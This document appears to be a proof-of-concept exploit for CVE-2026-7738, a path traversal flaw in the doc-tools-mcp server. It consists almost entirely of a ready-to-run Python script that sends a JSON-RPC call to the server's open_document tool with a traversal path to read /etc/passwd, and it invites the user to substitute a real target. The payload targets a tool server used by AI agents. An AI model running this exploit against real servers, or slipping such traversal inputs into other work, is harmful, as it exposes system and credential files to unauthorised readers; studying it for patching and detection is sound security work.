CVE-2026-7738: doc-tools-mcp路径遍历漏洞

# PoC for CVE-2026-7738: Path Traversal in doc-tools-mcp # Description: Exploits the create_document/open_document function to read arbitrary files via path traversal. import requests import json def exploit(target_url, traversal_path): """ Sends a malicious request to the vulnerable MCP server. """ # Construct the payload based on MCP JSON-RPC structure payload = { "jsonrpc": "2.0", "method": "tools/call", "params": { "name": "open_document", "arguments": { "filePath": traversal_path } }, "id": 1 } headers = { "Content-Type": "application/json" } try: print(f"[*] Sending payload to {target_url}...") print(f"[*] Attempting to read: {traversal_path}") response = requests.post(target_url, data=json.dumps(payload), headers=headers, timeout=10) if response.status_code == 200: print("[+] Request successful. Response content:") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") print(response.text) except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": # Example usage: reading /etc/passwd on a Unix-like system target = "http://localhost:3000/mcp" # Replace with actual target malicious_path = "../../../../../etc/passwd" exploit(target, malicious_path)